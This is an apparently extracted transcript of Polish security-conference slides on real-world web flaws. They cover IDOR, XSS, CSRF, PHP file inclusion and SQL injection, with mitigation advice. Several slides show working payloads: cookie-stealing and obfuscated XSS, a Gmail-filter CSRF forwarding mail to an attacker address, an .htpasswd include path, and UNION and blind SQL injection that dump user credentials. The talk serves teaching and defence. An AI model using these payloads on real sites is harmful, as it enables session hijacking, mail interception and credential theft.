Drobne błędy w portalach WWW prawdziwe studium przypadku ;-) Borys Łącki Michał Sobiegraj, CISSP

Transkrypt

1 Drobne błędy w portalach WWW prawdziwe studium przypadku ;-) Borys Łącki Michał Sobiegraj, CISSP

2 Czemu WWW jest ważne? M

3 WWW jest wszędzie M

4 Wydajemy pieniądze Zarządzamy finansami Zarabiamy pieniądze Marnujemy czas M

5 Ruch w Internecie M

6 2007: ilośd ruchu WWW przekroczyła ilośd ruchu P2P M

7 WWW pokonało pr0n! YAY!* M * nie poparte żadnymi badaniami

8 Typy ruchu HTTP M

9 Wzrost ilości hostów w sieci Ponad 60 mln aktywnych (netcraft) M

10 Bezpieczeostwo WWW w skrócie M

11 Odkryte podatności WWW przewyższają ilościowo wszystkie pozostałe (Sans) M

12 Czemu? Bardzo popularne medium ($) Niedojrzałośd technologii Błędy logiczne Chałupnicze rozwiązania M

13 Amerykaoskie ofiary phishingu 3,6 miliona osób, które straciły łącznie 3,2 miliarda dolarów (Gartner, M

14 Standardowa architektura aplikacji WWW Internet Warstwa WWW (filtry wejścia/wyjścia) Warstwa Aplikacji (logika biznesowa) Serwer Baz Danych M

15 Źle! Internet Warstwa WWW (filtry wejścia/wyjścia) Warstwa Aplikacji Nowa funkcjonalnośd (logika biznesowa) Serwer Baz Danych M

16 Firewall vs. właściwe projektowanie, kodowanie i SDLC Internet Warstwa WWW Firewall Aplikacyjny (filtry wejścia/wyjścia) Warstwa Aplikacji Nowa funkcjonalnośd (logika biznesowa) Serwer Baz Danych M

17 Optymalnie Internet Firewall Aplikacyjny Warstwa WWW (filtry wejścia/wyjścia) Warstwa Aplikacji (logika biznesowa) Nowa funkcjonalnośd Serwer Baz Danych M

18 Najczęstsze ataki PHP Remote File Include SQL Injection Cross-Site Scripting Cross-site Request Forgery (SANS Top Security Risks, 2007 Annual Update) M

19 Wyciek informacji B

20 Wesoła historyjka ;-) B

21 Więcej obrazków hmm B

22 B

23 :-D B

24 Kopiujemy B

25 Łączymy się B

26 PWND ;-) B

27 Wniosek? Bezpieczeostwo wymaga specyficznego sposobu myślenia (Paranoi? ;-) B

28 Ograniczenie dostępu po stronie klienta Możliwośd obejścia interfejsu W kontraście z bankomatem Nieskuteczne! B

29 Ograniczenie dostępu po stronie klienta RSS z identyfikacją ID klienta serwer.tld/rss/100_rss.xml serwer.tld/rss/101_rss.xml serwer.tld/rss/102_rss.xml Czytanie cudzych wiadomości serwer.tld/index.php?p=ok&action=msgs2&msgs_id=80 serwer.tld/index.php?p=ok&action=msgs2&msgs_id=81 serwer.tld/index.php?p=ok&action=msgs2&msgs_id=82 B

30 Kontrola dostępu po stronie serwera B

31 Cross-Site Scripting (XSS) B

32 Reflective XSS Serwer </script> GET /index.php? id=<script> </script> HTTP/1.1 Aplikacja WWW <script> </script> Użytkownik exec( ) Intruz Dane dostępne w kontekście użytkownika B

33 Przykładowy kod XSS document.write( <img src= +escape(document.cookie) + > ); B

34 Zmiana treści za pomocą XSS M

35 Zmiana treści za pomocą XSS B

36 Rebranding za pomocą XSS 109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40, 34,108,111,103,111,34,41,46,105,110,110,101,114,72,84,77,76,61,34,60,105,10 9,103,32,115,114,99,61,39,104,116,116,112,58,47,47,119,119,119,46,101,122,1 11,116,101,114,105,107,97,46,112,108,47,105,109,97,103,101,115,47,115,109,1 05,108,101,121,46,103,105,102,39,62,34));%3C%252fscript%3E document.getelementbyid("logo").innerhtml= "<img src=' M

37 Tak to wygląda w kodzie strony... <div id="maincontent"> <h2>results for: <span style="color: #f00;"><script>eval(string.fromcharcode(100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,1 00,40,34,108,111,103,111,34,41,46,105,110,110,101,114,72,84,77,76,61,34,60,105,109,103,32,115,114,99,61,39,104,116,116,112,5 8,47,47,119,119,119,46,101,122,111,116,101,114,105,107,97,46,1 12,108,47,105,109,97,103,101,115,47,115,109,105,108,101,121,4 6,103,105,102,39,62,34));</script></span></h2> </div>... M

38 Tak wygląda zmieniany kod <div id="logo"> <div class="logolink"> <a href=" </div>... </div> M

39 Kod w przeglądarce M

40 Efekt działania M

41 A wygląda to tak M

42 Zmiana treści za pomocą XSS Nie jest permanentna Lepszy kod łatwiej (sic!) Pomysł: Tak samo wyglądający formularz kierujący dane w inne miejsce phishing B

43 Uwierzytelnianie przy pomocy cookies POST /login.php HTTP/1.1 login=user&password=asd12ed]r3 HTTP/1.1 OK 200 Set-cookie: user_id=734223s8uod42 Witaj user Użytkownik Serwer GET /index.php HTTP/1.1 Cookie: user_id=734223s8uod42 Witaj user B

44 Wykorzystanie przejętego cookie POST /login.php HTTP/1.1 login=user&password=asd12ed]r3 HTTP/1.1 OK 200 Set-cookie: user_id=734223s8uod42 Witaj user Użytkownik Serwer GET /index.php HTTP/1.1 Cookie: user_id=734223s8uod42 Witaj user GET /index.php HTTP/1.1 Cookie: user_id=734223s8uod42 Witaj user Intruz B

45 Kradzież ciastka zawierającego ID sesji ments&comments_login=smietanka%3csc ript%3edocument.write(document.cookie) %3C/script%3E PHPSESSID=gji9h519llgbgbnaqg7si0q1l0; utma= ; utmb= ; utmc= ; utmz= utmccn=(direct) utmcsr=(direct) utmc md=(none) M

46 M

47 M

48 M

49 Jak wysład sobie ciastko? XMLHttpRequest Problem pomiędzy domenami Link img, iframe, location.href, etc Przykład: <img src=" si0q1l0%3b%20 utma%3d %3B%20 utmb%3d %3b%20 utmc%3d %3B%20 utmz%3d utmccn%3d%28direct%29 %7Cutmcsr%3D%28direct%29%7Cutmcmd%3D%28none%29"> B

50 Co na to poradzid? Powiązad ID sesji z IP Żądad powtórnego uwierzytelnienia Kontrolowad wprowadzane dane!!! - Białe listy (ScRipT) - Spójnośd (IDS, Firewall, aplikacja) - Dogłębnośd (...//../), UTF-7 B

51 src= / M

52 src= %2f / M

53 src= iley.gif> M %252f %2f /

54 B

55 Stored XSS Serwer Aplikacja WWW POST /register.php HTTP/1.1 login=<script> </script>&password=asd <script> </script> GET /index.php HTTP/1.1 <script> </script> Użytkownik exec( ) Intruz Baza danych Dane dostępne w kontekście użytkownika B

56 Co można zrobid? Permanentna zmiana treści Łatwa kradzież ID sesji CSRF XSS Proxy Automatyczne robaki - myspace, Orkut, Nduja, Borys Łatwe ;] w serwisach pozwalających publikowad własną treśd: - aukcyjne, blogi, fora, etc B

57 Kradzież ID sesji B

58 XSS Worm Serwer WWW Zapisuje XSS w swoim profilu Intruz XSS Intruz User_1 User_2 B

59 XSS Worm Serwer WWW Zapisuje XSS w swoim profilu Intruz XSS GET /intruz/ HTTP/1.1 User_1 <script> </script> Zapisuje XSS w swoim profilu exec( ) Intruz User_1 XSS User_2 B

60 XSS Worm Serwer WWW Zapisuje XSS w swoim profilu Intruz XSS GET /intruz/ HTTP/1.1 User_1 <script> </script> User_2 Zapisuje XSS w swoim profilu exec( ) Intruz User_1 XSS GET /user1/ HTTP/1.1 <script> </script> User_2 XSS Zapisuje XSS w swoim profilu exec( ) B

61 Nduja A Cross Domain/Webmail XSS Worm Intruz Serwer WWW Serwer WWW Serwer WWW Serwer WWW WebMail WebMail WebMail WebMail Libero.it Tiscali.it Lycos.it Excite.com B

62 Co na to poradzid? Powiązad ID sesji z IP Żądad powtórnego uwierzytelnienia Kontrolowad wprowadzane dane - Białe listy (ScRipT) - Spójnośd (IDS, Firewall, aplikacja) - Dogłębnośd (...//../), UTF-7 Filtrowad dane zapisywane do bazy i odczytywane z bazy B

63 Cross-Site Request Forgery (CSRF) B

64 CSRF Serwer Aplikacja WWW GET /delete.php?id=34 HTTP/1.1 Cookie: user_id=734223s8uod42 id = 34; delete(id); Wpis usunięty Użytkownik Intruz M

65 <img src= > (/var/log/apache/cba_ipn_zus_access.log) B

66 Przejęcie wiadomości z Gmail (CSRF) art/form-data&_action=https%3a//mail.google.com/mail/h/ wt1jmuj4ddv/%3fv%3dprf&cf2_emc=true&cf2_ =evilinbox@maili nator.com&cf1_from&cf1_to&cf1_subj&cf1_has&cf1_hasnot&cf1_atta ch=true&tfi&s=z&irf=on&nvp_bu_cftb=create%20filter Konto na Gmailu każdy z nas ma. Mam i ja! (Kradzież domeny: B

67 Co na to poradzid? POST zamiast GET obejście: iframe, javascript Referer problemy: proxy, przeglądarki, zmiana nagłówka Generowane tymczasowego dodatkowego ID Powiązanie ID użytkownika z długim losowym ciągiem Trzymane po stronie serwera Wymaganie ponownej autoryzacji przy kluczowych operacjach Brak błędów XSS (XmlHttpRequest)!!! B

68 PHP File Include B

69 Local File Include podgląd plików (konfiguracyjnych!) wykonanie kodu, jeśli jest możliwośd wgrania pliku na serwer dostęp do kodu źródłowego B <?php if(file_exists("includes/$page.inc")) { include "includes/$page.inc"; } else { echo "W budowie!<br>"; } c_html/.htpasswd%00

70 Remote File Include wykonanie kodu <?php include($mosconfig_absolute_path."/administrator/components /com_hashcash/config.hashcash.php"); require_once ($mosconfig_absolute_path.'/components/com_hashcash/cryptos trategy.php'); bsolute_path= access_log:62.48.xxx.xx - - [06/Jan/2008:07:11: ] "GET //install/index.php?g_path= HTTP/1.1" "-" "libwww-perl/5.803 B access_log: xxx.xxx - - [06/Jan/2008:22:57: ] "GET /files/strawberry/plugins/wacko/highlight/html.php?text= HTTP/1.1" "-" "libwww-perl/5.76"

71 Co z tym zrobid? konfiguracja po stronie php.ini allow_url_fopen = Off allow_url_include = Off register_global = Off safe_mode = On register_globals = Off safe_mode_gid = Off display_errors = Off log_errors = On error_log = /var/log/httpd/php_error.log disable_functions = system, shell_exec, exec, passthru uważad na specjalne znaki (null byte, etc) filtrowad, filtrowad i jeszcze raz filtrowad (../, UTF, itd.) inne: mod_security, Suhosin PHP B

72 SQL Injection M

73 SQL Injection Serwer Aplikacja WWW GET /login.php HTTP/1.1 login=admin&password=1 or 1= 1 select * from users where login= admin and pass= 1 or 1= 1 Intruz Welcome admin M Baza danych $dane = db_exec( select from users where login= $login and pass= $pass ) if ($dane.count) { print ( Welcome $login ) } else { print ( Bye ); exit (0); }

74 POST HTTP/1.1 priv_search=2e332424&cat='"1&w_city="'asd&submit=szukaj M

75 priv_search=&cat=1&w_city=ca%b3a+polska' and 1=1#&submit=Szukaj M

76 priv_search=&cat=1&w_city=ca%b3a+polska' and 1=0#&submit=Szukaj M

77 priv_search=&cat=1&w_city=ca%b3a+polska' union all select The used SELECT statements have a different number of columns M

78 priv_search=&cat=1&w_city=ca%b3a+polska' union all select t=szukaj M

79 priv_search=&cat=1&w_city=ca%b3a+polska' union all select t=szukaj M

80 priv_search=&cat=1&w_city=ca%b3a+polska' union all select 1,2,3,TABLE_SCHEMA,5,6,7,8,9,10,TABLE_NAME,12,COLUMN_ NAME,14,15,16,17,18 from information_schema.columns where TABLE_SCHEMA!= 'mysql' and TABLE_SCHEMA!= 'information_schema'#&submit=szukaj M

81 priv_search=&cat=1&w_city=ca%b3a+polska' union all select 1,2,3,login,5,6,7,8,9,10,pass,12,sex,14,15,16,17,18 from users#&submit=szukaj M

82 Przy okazji wychodzą na jaw TAJEMNICE ;-) M

83 Bonusowe odkrycie: 1836 botów :-) M

84 Blind SQL Injection B Formularz rejestracyjny:

85 Blind SQL Injection 1' and 1='0 OK. 1' or 1='1 Taki już jest zarejestrowany w serwisie. Musisz podad inny 1' union all SELECT IF( user() like '%sig%', BENCHMARK( ,MD5( 'x' )),NULL)# opóźnienie user() == sig@... 1' union all SELECT IF( user() like '%asd%', BENCHMARK( ,MD5( 'x' )),NULL)# brak opóźnienia B

86 B

87 B

88 Blind SQL Injection /zgoda.php?id=155765%20and%20(select%2 0ascii(substring((select%20login%20from%20a dmini%20limit%201,1),1,1)))%3d97 id= AND (select ascii(substring((select login from admini limit LINIA,1), MIEJSCE, 1))) =ZNAK_ASCII B

89 Wyniki blind SQL Injection Opóźnienie Treśd Komunikat błędu B

90 Co na to poradzid? Filtrowad wprowadzane dane - Białe listy znaków - Spójnośd (IDS, Firewall, aplikacja, baza danych) Nie ufad filtrom po stronie użytkownika (listy wyboru, JavaScript) M

91 Podsumowanie M

92 Z bezpieczeostwem WWW jest źle Błędy są wszędzie* wokół nas *no prawie wszędzie ;-) M

93 Co zrobid? Koniecznie filtrowad wprowadzane i wyprowadzane dane Firewalle aplikacyjne IDSy Białe listy! M

94 Byd świadomym potencjalnych zagrożeo i problemów Słuchad i pytad Korzystad z pomocy specjalistów Bilansowad koszty z zyskami każdy feedback jest dobry M

95 Używad sprawdzonych rozwiązao Odpowiedzią na tradycyjne błędy jest kod zarządzany, automatyczne typowanie, GC, itp. Odpowiedzią na błędy w kodowaniu WWW są frameworki Pozwalają na zachowanie pewnej jakości kodu Nie jesteśmy w 100% bezpieczni» Jeszcze nie są wystarczająco dojrzałe» Nie wszyscy wiedzą jak z nich korzystad» Bywają rozszerzane "na głupa"» Efekt skali powoduje, że błędy propagują się szeroko M

96 Hardening Poprawna konfiguracja jest niezwykle istotna Jedna dyrektywa w php.ini może zablokowad wykorzystanie błędu w aplikacji PHP: M

97 Myślenie Nikt ani nic nie ustrzeże nas przed skutkami błędów logicznych M

98 Pytania?